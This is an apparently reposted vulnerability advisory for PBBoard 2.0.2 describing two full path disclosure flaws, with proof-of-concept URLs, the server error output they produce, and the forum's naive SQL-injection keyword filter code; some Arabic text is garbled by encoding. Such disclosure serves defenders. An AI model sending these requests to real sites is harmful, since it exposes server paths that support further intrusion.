PBBoard <= 2.0.2 - Full Path Disclosure

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PBBoard <= 2.0.2 - Full Path Disclosure
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Advisory]PBBoard <=2.0.2 - Full Path Disclosure
Details
=======
Product: PHP <= PBBoard
Security-Risk: moderated
Remote-Exploit: yes
Vendor-URL: http://www.pbboard.com

Affected Products:
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test on PBBoard 2.0.2
maybe work under 2.0.2
 
More Details
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1. Full Path Disclosure
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allow attackers to gather the real path of the server side script.
 
Proof of concept:
http://www.[xxxxx].com/path/index.php?page=new_topic&index=1&id=union
 
error
Fatal error: Call to undefined method PowerBBLocalCommon::error() in /home/xxx/public_html/vb/common.php on line 193
 
code :
// Check if $_GET don't value any SQL Injection
foreach ($PowerBB->_GET as $sql_get)
{
if ((eregi("select", $sql_get)) or
(eregi("union", $sql_get)) or
(eregi("%", $sql_get)))
{
$this->error('&#1592;?&#1592;?&#1591;&#1726; &#1591;?&#1591;?&#1592;?&#1592;?&#1592;&#1657;&#1592;? &#1591;&#1563;&#1592;&#1657;&#1591;± &#1592;?&#1591;?&#1591;±&#1592;?&#1591;?&#1592;?!');
}
}
================
================
2. Full Path Disclosure
-----------------------------------
allow attackers to gather the real path of the server side script.
 
Proof of concept:
http://www.[xxxx].com/[path]/index.php?page=search&start=1&keyword=§ion=
all&search=1
 
Warning: filesize() [function.filesize]: stat failed for show_msg in /home/xxxxx/public_html/vb/includes/template.class.php on line 99
 
Fatal error: ERROR::FILE_SIZE_IS_ZERO in /home/xxxxx/public_html/vb/includes/template.class.php on line 146
 
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#  0day.today [2018-01-01]  #